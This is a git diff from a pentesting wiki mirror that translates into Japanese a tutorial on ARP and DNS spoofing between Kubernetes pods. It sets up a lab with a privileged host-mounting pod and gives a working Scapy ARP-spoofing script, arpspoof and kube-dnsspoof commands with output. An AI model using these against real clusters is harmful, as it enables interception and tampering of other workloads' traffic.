mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -4,92 +4,91 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
|
||||
Kubernetesでは、デフォルトの動作により、**同じノードに存在するすべてのコンテナ間の接続が確立される**ことが許可されています。これは、名前空間の違いに関係なく適用されます。このような接続は、**Layer 2**(イーサネット)まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、**悪意のあるコンテナ**が同じノードにある他のコンテナに対して**ARPスプーフィング攻撃**を実行する可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。
|
||||
|
||||
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
|
||||
ARPスプーフィング攻撃は、**攻撃者が偽のARP**(アドレス解決プロトコル)メッセージをローカルエリアネットワーク上で送信することを含みます。これにより、**攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます**。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止することさえできます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルトの接続性はセキュリティ上の懸念を引き起こします。
|
||||
|
||||
In the scenario 4 machines are going to be created:
|
||||
|
||||
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
|
||||
- **ubuntu-attack**: **Malicious** container in default namespace
|
||||
- **ubuntu-victim**: **Victim** machine in kube-system namespace
|
||||
- **mysql**: **Victim** machine in default namespace
|
||||
シナリオでは、4台のマシンが作成されます:
|
||||
|
||||
- ubuntu-pe: ノードに逃げてメトリクスを確認するための特権マシン(攻撃には必要ありません)
|
||||
- **ubuntu-attack**: **悪意のある**コンテナ(デフォルトの名前空間)
|
||||
- **ubuntu-victim**: **被害者**マシン(kube-system名前空間)
|
||||
- **mysql**: **被害者**マシン(デフォルトの名前空間)
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-pe
|
||||
name: ubuntu-pe
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: mysql
|
||||
name: mysql
|
||||
spec:
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## 基本的なKubernetesネットワーキング
|
||||
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
If you want more details about the networking topics introduced here, go to the references.
|
||||
ここで紹介されているネットワーキングのトピックについての詳細は、参考文献を参照してください。
|
||||
|
||||
### ARP
|
||||
|
||||
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
|
||||
一般的に言えば、**ノード内のポッド間ネットワーキング**は、すべてのポッドを接続する**ブリッジ**を介して利用可能です。このブリッジは「**cbr0**」と呼ばれます。(一部のネットワークプラグインは独自のブリッジをインストールします。)**cbr0はARP**(アドレス解決プロトコル)解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。
|
||||
|
||||
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
|
||||
この事実は、デフォルトでは、**同じノードで実行されているすべてのポッド**が、**同じノード内の他のポッドと通信**できることを意味します(名前空間に関係なく)イーサネットレベル(レイヤー2)で。
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||
> したがって、同じノード内のポッド間でA**RPスプーフィング攻撃を実行することが可能です。**
|
||||
|
||||
### DNS
|
||||
|
||||
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
|
||||
|
||||
Kubernetes環境では、通常、kube-system名前空間で1つ(またはそれ以上)の**DNSサービスが実行されている**のを見つけることができます:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
Namespace: kube-system
|
||||
Labels: k8s-app=kube-dns
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
Annotations: prometheus.io/port: 9153
|
||||
prometheus.io/scrape: true
|
||||
prometheus.io/scrape: true
|
||||
Selector: k8s-app=kube-dns
|
||||
Type: ClusterIP
|
||||
IP Families: <none>
|
||||
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
前の情報では、興味深いことが見られます。**サービスのIP**は**10.96.0.10**ですが、**サービスを実行しているポッドのIP**は**172.17.0.2**です。
|
||||
|
||||
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
|
||||
|
||||
If you check the DNS address inside any pod you will find something like this:
|
||||
|
||||
任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
しかし、ポッドはそのアドレスに到達する方法を**知らない**ため、この場合の**ポッド範囲**は172.17.0.10/26です。
|
||||
|
||||
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||
|
||||
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
したがって、ポッドは**アドレス10.96.0.10にDNSリクエストを送信**し、cbr0によって**172.17.0.2に変換**されます。
|
||||
|
||||
> [!WARNING]
|
||||
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||
> これは、ポッドの**DNSリクエスト**が**常に**ブリッジに行き、**サービスIPをエンドポイントIPに変換**することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです。
|
||||
>
|
||||
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
> これを知っており、**ARP攻撃が可能であることを知っている**場合、ノード内の**ポッド**は**サブネットワーク内の各ポッド**と**ブリッジ**間の**トラフィックを傍受**し、DNSサーバーからの**DNS応答を変更**することができます(**DNSスプーフィング**)。
|
||||
>
|
||||
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||
> さらに、**DNSサーバー**が**攻撃者と同じノードにある**場合、攻撃者はクラスター内の任意のポッドの**すべてのDNSリクエストを傍受**し(DNSサーバーとブリッジの間)、応答を変更することができます。
|
||||
|
||||
## ARP Spoofing in pods in the same Node
|
||||
## 同じノード内のポッドにおけるARPスプーフィング
|
||||
|
||||
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
私たちの目標は、**ubuntu-victimからmysqlへの通信を少なくとも盗むこと**です。
|
||||
|
||||
### Scapy
|
||||
|
||||
```bash
|
||||
python3 /tmp/arp_spoof.py
|
||||
Enter Target IP:172.17.0.10 #ubuntu-victim
|
||||
@@ -187,75 +180,69 @@ ngrep -d eth0
|
||||
from scapy.all import *
|
||||
|
||||
def getmac(targetip):
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||
return targetmac
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||
return targetmac
|
||||
|
||||
def spoofarpcache(targetip, targetmac, sourceip):
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
|
||||
def restorearp(targetip, targetmac, sourceip, sourcemac):
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
|
||||
def main():
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
main()
|
||||
|
||||
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
|
||||
### ARPSpoof
|
||||
|
||||
```bash
|
||||
apt install dsniff
|
||||
arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
|
||||
## DNS Spoofing
|
||||
|
||||
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
|
||||
既に述べたように、もしあなたが**DNSサーバーポッドと同じノードのポッドを侵害**した場合、**ARPSpoofing**を使って**ブリッジとDNS**ポッドの**MitM**を行い、**すべてのDNSレスポンスを変更**することができます。
|
||||
|
||||
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
|
||||
あなたには、これをテストするための素晴らしい**ツール**と**チュートリアル**があります [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
私たちのシナリオでは、**攻撃者ポッドに**この**ツールをダウンロード**し、**スプーフィング**したい**ドメイン**を含む**`hosts`という名前のファイルを作成**します:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
|
||||
Perform the attack to the ubuntu-victim machine:
|
||||
|
||||
攻撃をubuntu-victimマシンに対して実行します:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -272,15 +259,14 @@ dig google.com
|
||||
;; ANSWER SECTION:
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||
> 自分のDNSスプーフィングスクリプトを作成しようとする場合、**DNS応答を変更するだけでは**、**機能しません**。なぜなら、**応答**には**悪意のある** **ポッド**の**src IP**が含まれ、**受け入れられない**からです。\
|
||||
> 被害者がDNSリクエストを送信する**DNS**の**src IP**を持つ**新しいDNSパケット**を生成する必要があります(これは172.16.0.2のようなもので、10.96.0.10ではありません。これはK8s DNSサービスのIPであり、DNSサーバーのIPではありません。詳細はイントロダクションで説明します)。
|
||||
|
||||
## Capturing Traffic
|
||||
|
||||
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
|
||||
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
|
||||
ツール[**Mizu**](https://github.com/up9inc/mizu)は、Kubernetes用のシンプルでありながら強力なAPI **トラフィックビューワー**で、マイクロサービス間の**すべてのAPI通信**を**表示**し、デバッグや回帰のトラブルシューティングを支援します。\
|
||||
選択したポッドにエージェントをインストールし、そのトラフィック情報を収集してウェブサーバーに表示します。ただし、これには高いK8s権限が必要です(あまりステルスではありません)。
|
||||
|
||||
## References
|
||||
|
||||
@@ -288,7 +274,3 @@ It will install agents in the selected pods and gather their traffic information
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user